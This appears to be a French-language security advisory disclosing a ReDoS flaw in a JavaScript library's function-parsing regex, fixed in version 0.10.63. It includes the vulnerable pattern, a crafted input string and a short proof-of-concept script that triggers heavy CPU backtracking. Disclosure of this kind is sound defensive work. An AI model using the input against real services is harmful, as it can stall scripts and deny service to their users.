
redos
/^\sfunction\s([\0-')-\uffff]+)\s(([\0-(-\uffff]))\s*{/
Cette vulnérabilité peut être exploitée lorsqu'il y a un déséquilibre dans les parenthèses, ce qui entraîne un backtracking excessif et augmente considérablement la charge CPU et le temps de traitement. Cette vulnérabilité peut être déclenchée en utilisant l'entrée suivante :
'function{' + 'n'.repeat(31) + '){
Voici un code PoC simple pour démontrer le problème :
const protocolre = /^\sfunction\s([\0-')-\uffff]+)\s(([\0-(-\uffff]))\s*{/;
const startTime = Date.now();
const maliciousInput = 'function{' + 'n'.repeat(31) + '){'
protocolre.test(maliciousInput);
const endTime = Date.now();
console.log("process time: ", endTime - startTime, "ms");
Impact
Passer des fonctions avec des noms très longs ou des noms d'arguments par défaut complexes dans function#copy ou function#toStringTokens peut entraîner un blocage du script.
Correctifs Corrigé avec 3551cdd et a52e957 Publié avec la version 0.10.63
Solutions de contournement Aucune véritable solution de contournement en dehors du fait de s'abstenir d'utiliser les utilitaires ci-dessus.